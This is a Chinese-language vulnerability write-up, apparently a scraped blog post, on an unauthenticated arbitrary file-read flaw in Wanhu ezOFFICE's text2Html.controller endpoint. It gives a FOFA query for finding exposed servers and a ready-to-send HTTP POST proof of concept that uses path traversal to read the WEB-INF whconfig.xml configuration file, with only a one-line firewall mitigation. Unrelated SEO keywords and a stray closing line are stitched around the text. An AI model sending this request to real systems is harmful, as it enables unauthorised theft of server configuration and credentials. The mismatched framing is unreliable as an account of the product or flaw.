保亭住房和城乡建设局网站,微信小程序开发者工具官网下载,北京建网站公司飞沐,微信上做网站编辑文章目录 产品简介漏洞概述指纹识别漏洞利用修复建议 产品简介
ezoffice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品#xff0c;统一的基础管理平台#xff0c;实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网… 文章目录 产品简介漏洞概述指纹识别漏洞利用修复建议 产品简介
ezoffice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品统一的基础管理平台实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台将外网信息维护、客户服务、互动交流和日常工作紧密结合起来有效提高工作效率。
漏洞概述
户ezOFFICE协同管理平台text2Htm接口处存在任意文件读取漏洞未经身份认证的攻击者可以通过此漏洞读取敏感文件。
指纹识别
fofa:
app万户网络-ezOFFICE漏洞利用
poc:
POST /defaultroot/convertFile/text2Html.controller HTTP/1.1
Host: you_ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
Connection: close
Content-Length: 75
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
SL-CE-SUID: 1081saveFileName123456/../../../../WEB-INF/config/whconfig.xmlmoduleNamehtml读取配置文件
修复建议
临时缓解措施在防火墙上设置访问策略不允许任何人访问该路径
【一个人要有多少血性才算是个好人】
